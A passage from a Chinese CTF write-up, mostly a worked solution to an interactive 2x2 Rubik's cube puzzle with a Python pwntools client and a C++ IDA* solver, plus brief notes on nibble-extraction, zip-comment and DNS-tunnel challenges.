把原本每个字节里的“高位”拿出来,拼凑新文件
with open('1.bin', 'rb') as f:
data = f.read()
# 提取每个字节的高 4 位,并每两个组合成一个新字节
# 如 0x59 0x00 -> 0x50 ('P')
extracted = bytes((data[i] & 0xF0) | (data[i+1] >> 4) for i in range(0, len(data), 2))
with open('12.bin', 'wb') as f:
f.write(extracted)
print("提取完成。")
提取出新的zip文件修改文件的后缀.zip
再次查看文件尾部的数据得到zip
解压得到flag
Cube God
不说了,AI 牛逼,不是专门搞 PPC 的,我还是太菜了,预期解还用了 C++,AI 直接用 Python 就能解完了,明明测题的时候 GPT 还做不出来😭😭
这道题是一个 2x2 魔方交互题,服务端每轮随机打乱魔方,只展示 6 个面中的 5 个面贴纸,要求在 1 秒内输入不超过 11 手的复原步骤,连续通过 100 轮才能拿到 flag。
分析
阅读 app.py 可以得到题目流程:
每轮新建
RubiksCube2x2,并执行scramble(randint(114, 514))打乱。随机隐藏一个面,仅输出其余 5 个面的 2x2 贴纸。
1 秒内输入一行 moves,必须在
VALID集合中,且最多 11 步。验证方式:新建
check_cube,应用相同 scramble,再应用提交的 moves,要求最后状态is_solved()。
本地调试
在本地调试时显然可以绕过 1 秒时限。最简单的方式是在本地把 signal.alarm(1) 注释。随后先从数据结构入手:RubiksCube2x2 用 6 个 2x2 矩阵表示贴纸,display() 固定打印顺序并给出行列顺序。只要把“哪个角块贴在哪些面、哪个坐标”对齐,就能把 5 面投影还原成角块状态。此时先用 Python 写出可用解,再把逻辑迁移到 C++ 提速。
建模
2x2 没有棱块,只包含 8 个角块。一个状态可表示为:
cp(corner permutation):8 个角块在 8 个位置上的排列,状态数 。co(corner orientation):每个角块 3 种朝向,但有整体约束,状态数 。
因此角块朝向不变量为:
$$\sum_{i=0}^{7} co[i] \equiv 0 \pmod 3$$
2x2 的 God’s number 为 11,因此题目设定 MAX_MOVES = 11 正好要求“必须写完整求解器”。
从 display() 与 move 推断贴纸坐标与角块映射
display() 输出每个面的格式如下:
Face U:
+-----+
| a b |
| c d |
+-----+因此面内坐标为:
(0,0)对应 a(0,1)对应 b(1,0)对应 c(1,1)对应 d
接下来要把 8 个角块位置与三张贴纸的 (面, r, c) 对齐。基于 move_U/move_D/... 的旋转逻辑可得到如下映射:
角块位置 | 三面顺序(定义朝向) | U/D 面坐标 | 其他两面坐标 |
URF | (U,R,F) | U(1,1) | R(0,0), F(0,1) |
UFL | (U,F,L) | U(1,0) | F(0,0), L(0,1) |
ULB | (U,L,B) | U(0,0) | L(0,0), B(0,1) |
UBR | (U,B,R) | U(0,1) | B(0,0), R(0,1) |
DFR | (D,F,R) | D(0,1) | F(1,1), R(1,0) |
DLF | (D,L,F) | D(0,0) | L(1,1), F(1,0) |
DBL | (D,B,L) | D(1,0) | B(1,1), L(1,0) |
DRB | (D,R,B) | D(1,1) | R(1,1), B(1,0) |
从 5 面重建 cp/co
角块 ID 约定
角块颜色集合为:
0: (U,R,F)
1: (U,F,L)
2: (U,L,B)
3: (U,B,R)
4: (D,F,R)
5: (D,L,F)
6: (D,B,L)
7: (D,R,B)局部约束
每个位置有 3 张贴纸,对应三面顺序 CORNER_FACES[pos]。如果某个面被隐藏,则对应贴纸未知。把已知颜色集合记作 seen,候选角块必须满足“颜色集合包含 seen”。这样能大幅缩小候选集合。
全局 DFS 回溯
仅用局部集合还不够,需要全局约束:
8 个角块不能重复。
每个候选角块需要尝试 3 种朝向。
为了提速,按“候选数少优先、未知数少优先”排序后回溯。深度只有 8,分支非常小。
朝向定义与匹配
co[pos] 定义为:按 CORNER_FACES[pos] 顺序,U/D 贴纸落在第几个槽位(0/1/2)。
设角块基准顺序为 base=(x0,x1,x2),其中第 0 个必为 U 或 D。要让 U/D 贴纸出现在 twist 位置,可以做循环移位:
$$cols[i] = base[(i - twist)\bmod 3]$$
然后逐槽位匹配已知颜色即可。
朝向和的约束
DFS 结束时必须满足:
$$\sum co[i] \equiv 0 \pmod 3$$
或者直接让第 8 个角块朝向由前 7 个决定,保证合法性。
Move Table:从贴纸置换推导角块转移
为了连续解 100 轮,每轮在 1 秒内完成,必须预计算表。
24 贴纸编号
按面顺序 U/D/F/B/L/R,每个面 2x2 展平成 4 个编号,总计 24 个贴纸:
U: 0..3
D: 4..7
F: 8..11
B: 12..15
L: 16..19
R: 20..23
定义:
$$facelet\_idx(face,r,c)=base(face)+r\cdot2+c$$
计算 perm24
构造一个贴纸级魔方,初始化每个贴纸为自己的编号。对每个 move 执行一次,得到置换 perm24,并约定:
new[i] = old[perm24[i]]
方向必须要统一,否则后续推导会反。
推导 corner 置换与朝向变化
固定每个角块位置的 3 个贴纸索引(按 CORNER_FACES 顺序)。对每个 move:
moved24 = apply_perm24(solved24, perm24)。取
new_pos的 3 个贴纸组成triple,其集合必对应某个old_pos。用三贴纸集合的 bitmask 快速定位
old_pos。twist_of_corner(triple)通过“U/D 贴纸落在 triple 中的位置”给出朝向增量。
这样得到 MOVE_CP 和 MOVE_CO 转移表。
Pruning Table:单空间最短距离
对 cp 空间(40320)与 co 空间(2187)分别 BFS,得到:
DIST_CP[cp_idx]DIST_CO[co_idx]
它们是完整状态的下界,用于启发式剪枝。第一次生成耗时较长,所以写入缓存文件方便调用(这里我选择 cube2x2_tables.bin),后续直接加载即可。
IDA*:深度不超过 11 的搜索
状态为 (cp_idx, co_idx)。启发式使用:
$$h=\max\left(d_{cp}, d_{co}, \left\lfloor\frac{d_{cp}+d_{co}}{2}\right\rfloor\right)$$
迭代加深 DFS,直到深度 ≤ 11。剪枝策略:
不连续转同一面。
不走上一手的逆操作。
这样搜索节点数就能大幅下降。
先写 Python 解,再迁移 C++
Python 版本
Python 版本用于验证思路:
解析 5 个面贴纸。
用 DFS 重建
cp/co。利用预计算的 move/pruning 表进行 IDA* 求解。
该版本重点在正确性与可读性,保证每一轮都能给出 ≤ 11 的解即可,耗时在十几秒内都可以接受。
C++ 版本
将 Python 逻辑等价迁移到 C++,保持相同的状态定义与启发式:
仍然构造
perm24,推导MOVE_CP/MOVE_CO。仍然 BFS 构建
DIST_CP/DIST_CO。仍然用 IDA* 深度 ≤ 11 搜索。
为减少启动开销,C++ 版本将表缓存到二进制文件,并实现一个轻量协议:BEGIN ... END 输入 5 面,输出一行解。这样在交互脚本中可以常驻调用,避免每轮重启。
exp
Python 交互脚本:
#!/usr/bin/env python3
from pwn import *
import time
context.log_level = "info"
# ---------- parse server output: 5 face blocks ----------
def recv_face_block(io):
line = io.recvline().decode()
if not line.startswith("Face "):
raise EOFError("Unexpected output: " + line)
face = line.split()[1].strip(":")
io.recvline() # +-----+
row1 = io.recvline().decode().strip()
row2 = io.recvline().decode().strip()
io.recvline() # +-----+
def parse_row(s):
return s.strip("|").strip().split()
mat = [parse_row(row1), parse_row(row2)] # 2x2 strings
return face, mat
def mat_to_tokens(mat):
# mat: [[a,b],[c,d]]
return mat[0][0], mat[0][1], mat[1][0], mat[1][1]
# ---------- bridge to C++ solver ----------
class SolverBridge:
def __init__(self, path="./solver"):
self.p = process([path])
def solve_from_partial(self, partial):
"""
partial: dict face(str)-> mat([[..],[..]])
"""
self.p.sendline(b"BEGIN")
for face, mat in partial.items():
a, b, c, d = mat_to_tokens(mat)
line = f"{face} {a} {b} {c} {d}"
self.p.sendline(line.encode())
self.p.sendline(b"END")
sol = self.p.recvline().decode().strip()
return sol
# ---------- per round ----------
def solve_round(io, bridge):
partial = {}
for _ in range(5):
f, mat = recv_face_block(io)
partial[f] = mat
io.recvuntil(b"Enter your solution:\n")
sol = bridge.solve_from_partial(partial)
if not sol:
sol = "U"
return sol
io = remote("localhost", 9999)
# io = process(["python3", "app.py"])
bridge = SolverBridge("./solver")
io.recvuntil(b"get the flag!\n")
t_all = time.time()
for rnd in range(100):
io.recvuntil(b"=== Round ")
io.recvline()
io.recvline()
t0 = time.time()
sol = solve_round(io, bridge)
dt = (time.time() - t0) * 1000.0
log.info(f"Round {rnd+1}/100 sol_len={len(sol.split())} time={dt:.2f}ms")
io.sendline(sol.encode())
line = io.recvline().decode(errors="ignore")
if "[-]" in line:
log.error("Rejected: " + line)
log.error(io.recvall().decode(errors="ignore"))
exit(1)
io.recvline()
log.success(f"Done in {time.time()-t_all:.2f}s")
io.interactive()C++ 求解器:
#include <bits/stdc++.h>
using namespace std;
// ============================================================================
// 2x2 solver core (corner-only) + simple stdin/stdout protocol
//
// Protocol (one case):
// BEGIN
// U a b c d
// F a b c d
// ... (5 faces total, order arbitrary)
// END
// Outputs one line: "U R2 F' ..." (or "U" fallback)
//
// This build is mac/arm64 safe:
// - NO unordered_map<string,int> (avoids std::hash<string> -> __hash_memory link issues)
// - clang-friendly array init
// ============================================================================
static const char *CACHE_FILE = "cube2x2_tables.bin";
enum CornerPos {
URF = 0,
UFL = 1,
ULB = 2,
UBR = 3,
DFR = 4,
DLF = 5,
DBL = 6,
DRB = 7
};
struct RC {
int r, c;
};
// Corner cubies by color set
static const array<array<char, 3>, 8> CUBIES = { { { { 'U', 'R', 'F' } },
{ { 'U', 'F', 'L' } },
{ { 'U', 'L', 'B' } },
{ { 'U', 'B', 'R' } },
{ { 'D', 'F', 'R' } },
{ { 'D', 'L', 'F' } },
{ { 'D', 'B', 'L' } },
{ { 'D', 'R', 'B' } } } };
// For each position, the faces order we use for orientation definition
static const array<array<char, 3>, 8> CORNER_FACES = CUBIES;
// MUST match server printed facelet layout (r,c).
static const array<unordered_map<char, RC>, 8> CORNER_FACELETS = [] {
array<unordered_map<char, RC>, 8> m;
m[URF] = { { { 'U', { 1, 1 } }, { 'R', { 0, 0 } }, { 'F', { 0, 1 } } } };
m[UFL] = { { { 'U', { 1, 0 } }, { 'F', { 0, 0 } }, { 'L', { 0, 1 } } } };
m[ULB] = { { { 'U', { 0, 0 } }, { 'L', { 0, 0 } }, { 'B', { 0, 1 } } } };
m[UBR] = { { { 'U', { 0, 1 } }, { 'B', { 0, 0 } }, { 'R', { 0, 1 } } } };
m[DFR] = { { { 'D', { 0, 1 } }, { 'F', { 1, 1 } }, { 'R', { 1, 0 } } } };
m[DLF] = { { { 'D', { 0, 0 } }, { 'L', { 1, 1 } }, { 'F', { 1, 0 } } } };
m[DBL] = { { { 'D', { 1, 0 } }, { 'B', { 1, 1 } }, { 'L', { 1, 0 } } } };
m[DRB] = { { { 'D', { 1, 1 } }, { 'R', { 1, 1 } }, { 'B', { 1, 0 } } } };
return m;
}();
// Move list MUST match indices used later
static const vector<string> MOVES = { "U", "U'", "U2", "D", "D'", "D2",
"F", "F'", "F2", "B", "B'", "B2",
"L", "L'", "L2", "R", "R'", "R2" };
// Move indices by face
static const array<array<int, 3>, 6> MOVES_BY_FACE_IDX = {
{ /* U */ { 0, 2, 1 },
/* D */ { 3, 5, 4 },
/* F */ { 6, 8, 7 },
/* B */ { 9, 11, 10 },
/* L */ { 12, 14, 13 },
/* R */ { 15, 17, 16 } }
};
static inline string inv_move(const string &m)
{
if (!m.empty() && m.back() == '2')
return m;
if (!m.empty() && m.back() == '\'')
return m.substr(0, m.size() - 1);
return m + "'";
}
static inline bool is_inverse(const string &a, const string &b)
{
return inv_move(a) == b;
}
// Factorials for perm index
static const int FACT[9] = { 1, 1, 2, 6, 24, 120, 720, 5040, 40320 };
// perm <-> idx (Lehmer code)
static inline int perm_to_idx(const array<int, 8> &p)
{
int idx = 0;
for (int i = 0; i < 8; i++) {
int smaller = 0;
for (int j = i + 1; j < 8; j++)
if (p[j] < p[i])
smaller++;
idx += smaller * FACT[7 - i];
}
return idx;
}
static inline array<int, 8> idx_to_perm(int idx)
{
array<int, 8> p{};
array<int, 8> elems{};
for (int i = 0; i < 8; i++)
elems[i] = i;
int n = 8;
for (int i = 0; i < 8; i++) {
int f = FACT[7 - i];
int q = idx / f;
idx %= f;
p[i] = elems[q];
for (int k = q; k < n - 1; k++)
elems[k] = elems[k + 1];
n--;
}
return p;
}
// orientation <-> idx (base-3, last determined)
static inline int ori_to_idx(const array<int, 8> &co)
{
int idx = 0;
for (int i = 0; i < 7; i++)
idx = idx * 3 + co[i];
return idx;
}
static inline array<int, 8> idx_to_ori(int idx)
{
array<int, 8> co{};
int s = 0;
for (int i = 6; i >= 0; i--) {
co[i] = idx % 3;
idx /= 3;
s += co[i];
}
co[7] = (3 - (s % 3)) % 3;
return co;
}
// ---------------------------------------------------------------------------
// Sticker-level cube (for generating perm24 of each move)
// ---------------------------------------------------------------------------
struct StickerCube2x2 {
array<array<array<int, 2>, 2>, 6> f;
static int fid(char c)
{
return (int)string("UDFBLR").find(c);
}
StickerCube2x2()
{
for (int k = 0; k < 6; k++)
for (int r = 0; r < 2; r++)
for (int c = 0; c < 2; c++)
f[k][r][c] = k;
}
// clang-friendly (no nested brace init that clang dislikes)
static array<array<int, 2>, 2> rot_cw(const array<array<int, 2>, 2> &a)
{
array<array<int, 2>, 2> o{};
o[0][0] = a[1][0];
o[0][1] = a[0][0];
o[1][0] = a[1][1];
o[1][1] = a[0][1];
return o;
}
static array<array<int, 2>, 2> rot_ccw(const array<array<int, 2>, 2> &a)
{
array<array<int, 2>, 2> o{};
o[0][0] = a[0][1];
o[0][1] = a[1][1];
o[1][0] = a[0][0];
o[1][1] = a[1][0];
return o;
}
array<int, 2> get_row(int id, int r) const
{
return { f[id][r][0], f[id][r][1] };
}
void set_row(int id, int r, const array<int, 2> &v)
{
f[id][r][0] = v[0];
f[id][r][1] = v[1];
}
array<int, 2> get_col(int id, int c) const
{
return { f[id][0][c], f[id][1][c] };
}
void set_col(int id, int c, const array<int, 2> &v)
{
f[id][0][c] = v[0];
f[id][1][c] = v[1];
}
void move_U(bool p)
{
int U = 0, F = 2, B = 3, L = 4, R = 5;
if (p) {
f[U] = rot_ccw(f[U]);
auto t = get_row(F, 0);
set_row(F, 0, get_row(L, 0));
set_row(L, 0, get_row(B, 0));
set_row(B, 0, get_row(R, 0));
set_row(R, 0, t);
} else {
f[U] = rot_cw(f[U]);
auto t = get_row(F, 0);
set_row(F, 0, get_row(R, 0));
set_row(R, 0, get_row(B, 0));
set_row(B, 0, get_row(L, 0));
set_row(L, 0, t);
}
}
void move_D(bool p)
{
int D = 1, F = 2, B = 3, L = 4, R = 5;
if (p) {
f[D] = rot_ccw(f[D]);
auto t = get_row(F, 1);
set_row(F, 1, get_row(R, 1));
set_row(R, 1, get_row(B, 1));
set_row(B, 1, get_row(L, 1));
set_row(L, 1, t);
} else {
f[D] = rot_cw(f[D]);
auto t = get_row(F, 1);
set_row(F, 1, get_row(L, 1));
set_row(L, 1, get_row(B, 1));
set_row(B, 1, get_row(R, 1));
set_row(R, 1, t);
}
}
void move_F(bool p)
{
int U = 0, D = 1, F = 2, L = 4, R = 5;
if (p) {
f[F] = rot_ccw(f[F]);
auto t = get_row(U, 1);
set_row(U, 1, get_col(R, 0));
auto d0 = get_row(D, 0);
set_col(R, 0, { d0[1], d0[0] });
set_row(D, 0, get_col(L, 1));
set_col(L, 1, { t[1], t[0] });
} else {
f[F] = rot_cw(f[F]);
auto t = get_row(U, 1);
auto lc = get_col(L, 1);
set_row(U, 1, { lc[1], lc[0] });
set_col(L, 1, get_row(D, 0));
auto rc = get_col(R, 0);
set_row(D, 0, { rc[1], rc[0] });
set_col(R, 0, t);
}
}
void move_B(bool p)
{
int U = 0, D = 1, B = 3, L = 4, R = 5;
if (p) {
f[B] = rot_ccw(f[B]);
auto t = get_row(U, 0);
auto lc = get_col(L, 0);
set_row(U, 0, { lc[1], lc[0] });
set_col(L, 0, get_row(D, 1));
auto rc = get_col(R, 1);
set_row(D, 1, { rc[1], rc[0] });
set_col(R, 1, t);
} else {
f[B] = rot_cw(f[B]);
auto t = get_row(U, 0);
set_row(U, 0, get_col(R, 1));
auto d1 = get_row(D, 1);
set_col(R, 1, { d1[1], d1[0] });
set_row(D, 1, get_col(L, 0));
set_col(L, 0, { t[1], t[0] });
}
}
void move_L(bool p)
{
int U = 0, D = 1, F = 2, B = 3, L = 4;
if (p) {
f[L] = rot_ccw(f[L]);
auto t = get_col(U, 0);
set_col(U, 0, get_col(F, 0));
set_col(F, 0, get_col(D, 0));
auto bc = get_col(B, 1);
set_col(D, 0, { bc[1], bc[0] });
set_col(B, 1, { t[1], t[0] });
} else {
f[L] = rot_cw(f[L]);
auto t = get_col(U, 0);
auto bc = get_col(B, 1);
set_col(U, 0, { bc[1], bc[0] });
auto dc = get_col(D, 0);
set_col(B, 1, { dc[1], dc[0] });
set_col(D, 0, get_col(F, 0));
set_col(F, 0, t);
}
}
void move_R(bool p)
{
int U = 0, D = 1, F = 2, B = 3, R = 5;
if (p) {
f[R] = rot_ccw(f[R]);
auto t = get_col(U, 1);
auto bc = get_col(B, 0);
set_col(U, 1, { bc[1], bc[0] });
auto dc = get_col(D, 1);
set_col(B, 0, { dc[1], dc[0] });
set_col(D, 1, get_col(F, 1));
set_col(F, 1, t);
} else {
f[R] = rot_cw(f[R]);
auto t = get_col(U, 1);
set_col(U, 1, get_col(F, 1));
set_col(F, 1, get_col(D, 1));
auto bc = get_col(B, 0);
set_col(D, 1, { bc[1], bc[0] });
set_col(B, 0, { t[1], t[0] });
}
}
void apply_move(const string &m)
{
if (!m.empty() && m.back() == '2') {
string b = m.substr(0, m.size() - 1);
apply_move(b);
apply_move(b);
return;
}
bool prime = (!m.empty() && m.back() == '\'');
char face = m[0];
switch (face) {
case 'U':
move_U(prime);
break;
case 'D':
move_D(prime);
break;
case 'F':
move_F(prime);
break;
case 'B':
move_B(prime);
break;
case 'L':
move_L(prime);
break;
case 'R':
move_R(prime);
break;
default:
break;
}
}
};
// facelet indexing for 24 stickers (U D F B L R each 2x2)
static inline int facelet_idx(char face, int r, int c)
{
int base = 0;
switch (face) {
case 'U':
base = 0;
break;
case 'D':
base = 4;
break;
case 'F':
base = 8;
break;
case 'B':
base = 12;
break;
case 'L':
base = 16;
break;
case 'R':
base = 20;
break;
default:
base = 0;
break;
}
return base + (r * 2 + c);
}
// which 3 stickers form each corner position (in CORNER_FACES order)
static const array<array<int, 3>, 8> CORNER_FACELETS_IDX = {
{ { { facelet_idx('U', 1, 1), facelet_idx('R', 0, 0),
facelet_idx('F', 0, 1) } },
{ { facelet_idx('U', 1, 0), facelet_idx('F', 0, 0),
facelet_idx('L', 0, 1) } },
{ { facelet_idx('U', 0, 0), facelet_idx('L', 0, 0),
facelet_idx('B', 0, 1) } },
{ { facelet_idx('U', 0, 1), facelet_idx('B', 0, 0),
facelet_idx('R', 0, 1) } },
{ { facelet_idx('D', 0, 1), facelet_idx('F', 1, 1),
facelet_idx('R', 1, 0) } },
{ { facelet_idx('D', 0, 0), facelet_idx('L', 1, 1),
facelet_idx('F', 1, 0) } },
{ { facelet_idx('D', 1, 0), facelet_idx('B', 1, 1),
facelet_idx('L', 1, 0) } },
{ { facelet_idx('D', 1, 1), facelet_idx('R', 1, 1),
facelet_idx('B', 1, 0) } } }
};
// orientation delta: where the U/D sticker ends up (0/1/2)
static inline int twist_of_corner(const array<int, 3> &triple)
{
for (int i = 0; i < 3; i++)
if (0 <= triple[i] && triple[i] <= 7)
return i;
throw runtime_error("invalid corner triple");
}
static inline uint32_t mask3(const array<int, 3> &a)
{
return (1u << a[0]) | (1u << a[1]) | (1u << a[2]);
}
// Move/pruning tables
static vector<array<uint16_t, 40320> > MOVE_CP; // [18][40320]
static vector<array<uint16_t, 2187> > MOVE_CO; // [18][2187]
static vector<uint8_t> DIST_CP; // [40320]
static vector<uint8_t> DIST_CO; // [2187]
// Build perm24 for a move: new[i] = old[perm[i]]
static vector<int> build_perm24_for_move(const string &m)
{
StickerCube2x2 c;
int idx = 0;
for (char fc : string("UDFBLR")) {
int id = StickerCube2x2::fid(fc);
for (int r = 0; r < 2; r++)
for (int col = 0; col < 2; col++)
c.f[id][r][col] = idx++;
}
c.apply_move(m);
vector<int> perm;
perm.reserve(24);
for (char fc : string("UDFBLR")) {
int id = StickerCube2x2::fid(fc);
for (int r = 0; r < 2; r++)
for (int col = 0; col < 2; col++)
perm.push_back(c.f[id][r][col]);
}
return perm;
}
static inline array<int, 24> apply_perm24(const array<int, 24> &st,
const vector<int> &perm)
{
array<int, 24> out{};
for (int i = 0; i < 24; i++)
out[i] = st[perm[i]];
return out;
}
static void build_corner_move_tables()
{
MOVE_CP.assign(MOVES.size(), {});
MOVE_CO.assign(MOVES.size(), {});
array<uint32_t, 8> corner_masks{};
for (int pos = 0; pos < 8; pos++)
corner_masks[pos] = mask3(CORNER_FACELETS_IDX[pos]);
vector<vector<int> > perm24_list;
perm24_list.reserve(MOVES.size());
for (auto &m : MOVES)
perm24_list.push_back(build_perm24_for_move(m));
array<int, 24> solved24{};
for (int i = 0; i < 24; i++)
solved24[i] = i;
for (int mi = 0; mi < (int)MOVES.size(); mi++) {
auto moved24 = apply_perm24(solved24, perm24_list[mi]);
array<int, 8> newpos_to_oldpos{};
array<int, 8> twist_delta_by_oldpos{};
twist_delta_by_oldpos.fill(0);
// Determine how corners permute + how orientation changes
for (int new_pos = 0; new_pos < 8; new_pos++) {
auto idxs = CORNER_FACELETS_IDX[new_pos];
array<int, 3> triple = { moved24[idxs[0]],
moved24[idxs[1]],
moved24[idxs[2]] };
uint32_t msk = mask3(triple);
int old_pos = -1;
for (int p = 0; p < 8; p++)
if (corner_masks[p] == msk) {
old_pos = p;
break;
}
if (old_pos < 0)
throw runtime_error("corner mask not found");
newpos_to_oldpos[new_pos] = old_pos;
twist_delta_by_oldpos[old_pos] =
twist_of_corner(triple);
}
// cp transition table
for (int pidx = 0; pidx < 40320; pidx++) {
auto cp_state = idx_to_perm(pidx);
array<int, 8> new_cp{};
for (int new_pos = 0; new_pos < 8; new_pos++) {
int old_pos = newpos_to_oldpos[new_pos];
new_cp[new_pos] = cp_state[old_pos];
}
MOVE_CP[mi][pidx] = (uint16_t)perm_to_idx(new_cp);
}
// co transition table
for (int oidx = 0; oidx < 2187; oidx++) {
auto co_state = idx_to_ori(oidx);
array<int, 8> new_co{};
for (int new_pos = 0; new_pos < 8; new_pos++) {
int old_pos = newpos_to_oldpos[new_pos];
new_co[new_pos] =
(co_state[old_pos] +
twist_delta_by_oldpos[old_pos]) %
3;
}
// fix last corner orientation
int s = 0;
for (int i = 0; i < 7; i++)
s += new_co[i];
new_co[7] = (3 - (s % 3)) % 3;
MOVE_CO[mi][oidx] = (uint16_t)ori_to_idx(new_co);
}
}
}
template <typename TMoveTable>
static vector<uint8_t> build_pruning(const TMoveTable &move_table, int size)
{
vector<int16_t> dist(size, -1);
deque<int> q;
dist[0] = 0;
q.push_back(0);
while (!q.empty()) {
int x = q.front();
q.pop_front();
int d = dist[x];
for (int mi = 0; mi < (int)MOVES.size(); mi++) {
int y = move_table[mi][x];
if (dist[y] == -1) {
dist[y] = d + 1;
q.push_back(y);
}
}
}
vector<uint8_t> out(size);
for (int i = 0; i < size; i++)
out[i] = (dist[i] < 0) ? 255 : (uint8_t)dist[i];
return out;
}
static bool load_cache()
{
ifstream in(CACHE_FILE, ios::binary);
if (!in)
return false;
uint32_t magic = 0, ver = 0;
in.read((char *)&magic, 4);
in.read((char *)&ver, 4);
if (magic != 0x32583232u || ver != 1)
return false;
MOVE_CP.assign(MOVES.size(), {});
MOVE_CO.assign(MOVES.size(), {});
DIST_CP.resize(40320);
DIST_CO.resize(2187);
for (int mi = 0; mi < (int)MOVES.size(); mi++)
in.read((char *)MOVE_CP[mi].data(), 40320 * sizeof(uint16_t));
for (int mi = 0; mi < (int)MOVES.size(); mi++)
in.read((char *)MOVE_CO[mi].data(), 2187 * sizeof(uint16_t));
in.read((char *)DIST_CP.data(), 40320 * sizeof(uint8_t));
in.read((char *)DIST_CO.data(), 2187 * sizeof(uint8_t));
return (bool)in;
}
static void save_cache()
{
ofstream out(CACHE_FILE, ios::binary);
uint32_t magic = 0x32583232u, ver = 1;
out.write((char *)&magic, 4);
out.write((char *)&ver, 4);
for (int mi = 0; mi < (int)MOVES.size(); mi++)
out.write((char *)MOVE_CP[mi].data(), 40320 * sizeof(uint16_t));
for (int mi = 0; mi < (int)MOVES.size(); mi++)
out.write((char *)MOVE_CO[mi].data(), 2187 * sizeof(uint16_t));
out.write((char *)DIST_CP.data(), 40320 * sizeof(uint8_t));
out.write((char *)DIST_CO.data(), 2187 * sizeof(uint8_t));
}
static inline bool is_in_cubie(int cubie_id, char v)
{
auto &b = CUBIES[cubie_id];
return b[0] == v || b[1] == v || b[2] == v;
}
// Reconstruct cp/co from 5 faces (unknown facelets are missing)
static pair<array<int, 8>, array<int, 8> > reconstruct_from_5faces(
const unordered_map<char, array<array<char, 2>, 2> > &partial)
{
auto get_facelet = [&](char face, RC rc) -> optional<char> {
auto it = partial.find(face);
if (it == partial.end())
return nullopt;
return it->second[rc.r][rc.c];
};
array<bool, 8> used{};
used.fill(false);
array<int, 8> cp{};
cp.fill(-1);
array<int, 8> co{};
co.fill(0);
array<array<optional<char>, 3>, 8> need;
array<vector<int>, 8> cands;
// Build candidate cubies for each position
for (int pos = 0; pos < 8; pos++) {
array<char, 3> seen{};
int sc = 0;
for (int i = 0; i < 3; i++) {
char face = CORNER_FACES[pos][i];
RC rc = CORNER_FACELETS[pos].at(face);
auto v = get_facelet(face, rc);
need[pos][i] = v;
if (v.has_value())
seen[sc++] = *v;
}
vector<int> possible;
for (int cub = 0; cub < 8; cub++) {
bool ok = true;
for (int k = 0; k < sc; k++) {
if (!is_in_cubie(cub, seen[k])) {
ok = false;
break;
}
}
if (ok)
possible.push_back(cub);
}
cands[pos] = std::move(possible);
}
// Most constrained first
vector<int> order(8);
iota(order.begin(), order.end(), 0);
sort(order.begin(), order.end(), [&](int a, int b) {
int ca = (int)cands[a].size(), cb = (int)cands[b].size();
int na = 0, nb = 0;
for (int i = 0; i < 3; i++) {
if (!need[a][i].has_value())
na++;
if (!need[b][i].has_value())
nb++;
}
if (ca != cb)
return ca < cb;
return na < nb;
});
// twist definition matches Python:
// twist = index in (U/R/F) order where U/D color sits
auto colors_with_twist = [&](int cub, int twist) -> array<char, 3> {
auto base = CUBIES[cub];
int k = (3 - (twist % 3)) % 3;
return { base[k], base[(k + 1) % 3], base[(k + 2) % 3] };
};
auto fits = [&](int pos, int cub, int twist) -> bool {
auto cols = colors_with_twist(cub, twist);
for (int i = 0; i < 3; i++) {
if (need[pos][i].has_value() &&
*need[pos][i] != cols[i])
return false;
}
return true;
};
function<bool(int)> dfs = [&](int i) -> bool {
if (i == 8) {
int s = 0;
for (int k = 0; k < 8; k++)
s += co[k];
return (s % 3) == 0;
}
int pos = order[i];
for (int cub : cands[pos]) {
if (used[cub])
continue;
for (int twist = 0; twist < 3; twist++) {
if (!fits(pos, cub, twist))
continue;
used[cub] = true;
cp[pos] = cub;
co[pos] = twist;
if (dfs(i + 1))
return true;
used[cub] = false;
cp[pos] = -1;
co[pos] = 0;
}
}
return false;
};
if (!dfs(0))
throw runtime_error("reconstruct failed (mapping mismatch?)");
// Fix last twist parity
int s = 0;
for (int i = 0; i < 7; i++)
s += co[i];
co[7] = (3 - (s % 3)) % 3;
return { cp, co };
}
// IDA* with pruning tables (max depth 11)
static string ida_solve(const array<int, 8> &cp, const array<int, 8> &co,
int max_depth = 11)
{
int cp_idx = perm_to_idx(cp);
int co_idx = ori_to_idx(co);
auto h = [&](int cpi, int coi) -> int {
int dcp = (DIST_CP[cpi] == 255) ? 99 : DIST_CP[cpi];
int dco = (DIST_CO[coi] == 255) ? 99 : DIST_CO[coi];
return max({ dcp, dco, (dcp + dco) / 2 });
};
int bound = h(cp_idx, co_idx);
vector<string> path;
path.reserve(max_depth);
function<int(int, int, int, int, int, string *)> dfs =
[&](int cpi, int coi, int g, int bound, int last_face_idx,
string *last_move) -> int {
int f = g + h(cpi, coi);
if (f > bound)
return f;
if (cpi == 0 && coi == 0)
return -1; // solved
if (g == bound)
return INT_MAX;
int min_next = INT_MAX;
for (int fi = 0; fi < 6; fi++) {
if (last_face_idx != -1 && fi == last_face_idx)
continue;
for (int k = 0; k < 3; k++) {
int mi = MOVES_BY_FACE_IDX[fi][k];
const string &m = MOVES[mi];
if (last_move && is_inverse(*last_move, m))
continue;
int ncpi = MOVE_CP[mi][cpi];
int ncoi = MOVE_CO[mi][coi];
path.push_back(m);
string cur = m;
int res =
dfs(ncpi, ncoi, g + 1, bound, fi, &cur);
if (res == -1)
return -1;
path.pop_back();
if (res < min_next)
min_next = res;
}
}
return min_next;
};
while (bound <= max_depth) {
int res = dfs(cp_idx, co_idx, 0, bound, -1, nullptr);
if (res == -1) {
string out;
for (size_t i = 0; i < path.size(); i++) {
if (i)
out.push_back(' ');
out += path[i];
}
return out;
}
if (res == INT_MAX)
break;
bound++;
}
return "";
}
// main: load/build tables once, then serve queries using BEGIN/END protocol
int main()
{
ios::sync_with_stdio(false);
cin.tie(nullptr);
if (!load_cache()) {
build_corner_move_tables();
DIST_CP = build_pruning(MOVE_CP, 40320);
DIST_CO = build_pruning(MOVE_CO, 2187);
save_cache();
}
string tok;
while (cin >> tok) {
if (tok != "BEGIN") {
// ignore any garbage (robust for piping)
continue;
}
unordered_map<char, array<array<char, 2>, 2> > partial;
// read face lines until END
while (cin >> tok) {
if (tok == "END")
break;
if (tok.size() != 1)
throw runtime_error("bad face token");
char face = tok[0];
string a, b, c, d;
cin >> a >> b >> c >> d;
array<array<char, 2>, 2> mat{};
mat[0][0] = a[0];
mat[0][1] = b[0];
mat[1][0] = c[0];
mat[1][1] = d[0];
partial[face] = mat;
}
auto [cp, co] = reconstruct_from_5faces(partial);
string sol = ida_solve(cp, co, 11);
if (sol.empty())
sol = "U";
cout << sol << "\n" << flush;
}
return 0;
}Sign in
签到题,压缩包注释拿到key
然后进行serpent解密
Silent Resolver
很简单的一道DNS隧道问题
